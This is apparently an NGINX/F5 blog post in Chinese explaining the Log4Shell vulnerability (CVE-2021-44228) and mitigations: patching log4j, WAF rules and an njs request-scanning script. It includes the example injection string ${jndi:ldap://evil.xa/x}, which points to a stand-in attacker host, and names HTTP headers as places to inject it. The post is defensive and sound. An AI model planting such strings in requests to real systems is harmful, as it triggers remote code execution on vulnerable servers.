2021 年 12 月 10 日(星期五)将被全球众多 IT 人员所铭记。这一天,在备受欢迎的 Java 应用日志库 log4j 中发现了一个非常严重的 零日漏洞 。针对该漏洞的攻击很快被命名为 “log4j” ,各个公司,无论规模大小,都纷纷匆忙实施各种缓解措施。然后随之而来的是持续的修补马拉松,在本文撰写时仍在进行。
NGINX 和 F5 已经就威胁态势进行了分析,我们将在本文中提供多种缓解选项来帮助您保护应用。
Log4j 库的版本 2.15 及更早版本容易受到 CVE-2021-44228 中所述的远程代码执行 (RCE) 漏洞的影响。(log4j 的 版本 2.16 修复了该漏洞。)Log4Shell 是指针对该漏洞的攻击行为。但是,这一漏洞是什么呢?为何它如此重要?如 CVE 中所述,Apache log4j Java 库未能正确地对输入进行验证。
Log4j 库与 Java 运行时包含的 Java 命名和目录接口 (JNDI) 这一特性可用于执行远程查找,这样就可以从外部数据源获取数据(例如从 LDAP 获取用户名或从 DNS 获取 IP 地址),然后再将其加入某个日志条目中。然而,远程攻击者会趁机劫持 JNDI 来执行其编写的 Java 代码。下图形象地展示了攻击过程。
要攻击包含漏洞的目标,攻击者必须诱骗应用代码编写一个包含像 ${jndi:ldap://evil.xa/x} 这样的字符串的日志条目。一个有趣的问题是:将这样的字符串放在何处,才可以保证它最终会出现在日志消息中呢?对于许多应用而言,日志很重要,会针对每个入向请求记录大量不同信息,包括HTTP 标头中像是 User-Agent 和 X-Forwarded-For 这样的字段、请求的URI 及请求正文。攻击向量有很多,只要 log4j 日志库记录了攻击者的字符串,该应用就可能会受到 Log4Shell 攻击。
${jndi:ldap://evil.xa/x}
User-Agent
X-Forwarded-For
完全不会。NGINX 本身不会受到这一漏洞攻击的影响,因为它采用 C 语言编写而成,没有使用 Java 或任何基于 Java 的库。有关所有 F5 和 NGINX 的产品针对 CVE-2021-44228 的官方回应,请参阅 AskF5 知识库中的文章 K19026212 。
如上所述,攻击者必须将用于攻击的字符串插在 HTTP 请求中某个位置,并发送给目标应用。NGINX 提供了多种用于扫描入向请求的工具,以便识别入侵迹象 (IOC) 并进行拦截。
拦截恶意请求的最有效方法就是使用 Web 应用防火墙 (WAF)。它会扫描每个入向请求,将请求数据和一组预编译的规则进行对比,从而检测 CVE-2021-44228 的入侵迹象。然而,在出现零日漏洞后,更新 WAF 规则就像是打一场军备竞赛。一旦有了针对某一特定攻击方式的 WAF 规则,攻击者便会寻找可以绕过该 WAF 的技巧和模式。因此,请务必确保您的 WAF 规则是最新的版本。
ModSecurity 是一种开源 WAF,也作为 NGINX 的商用产品提供 。 OWASP ModSecurity 核心规则集 (CRS) 已经包括了能够减缓 Log4Shell 的规则 (932130)。想要进一步了解该解决方案以及更高级的应用防护, 请参阅 CRS 博客 。
NGINX App Protect WAF NGINX App Protect WAF 是一款针对现代应用的安全解决方案。基于对Log4Shell这一威胁和绕过 WAF 的已知方式的持续调查,我们已经在 NGINX App Protect WAF 的服务器端代码注入签名集中添加了新的规则,从而有效地检测 Log4Shell 攻击。欲了解更多详情, 请参阅 AskF5 知识库 。
作为反向代理的 NGINX 和 NGINX Plus被广泛地部署在许多基于 Java 的应用的前端。对于无法访问 WAF 的用户和客户,我们使用 NGINX JavaScript 模块 (njs)创建了一个脚本。该脚本能够扫描入向请求中的 HTTP 标头、URI 及请求正文,利用已知的 IOC 字符串和正则表达式来匹配输入数据并拦截恶意请求。
该 njs 脚本可在 GitHub 上获取。有关安装 njs 模块的说明, 请参阅 NGINX Plus 管理者指南 。
应对 Log4Shell 的最有效的解决方案是使用 log4j 版本 2.16 或更高版本修补应用代码,因为它们都禁用了 JDNI。如果这个方案无法立即实施,在您在有时间应用log4j的补丁前,您可采用 WAF 有效减缓威胁程度。如果您尚未部署 WAF,则可使用我们的 njs 脚本实施针对Log4Shell的特定防护,从而有效抵御威胁。
您可使用以下资源,了解更多信息并为您的应用选择最合适的保护。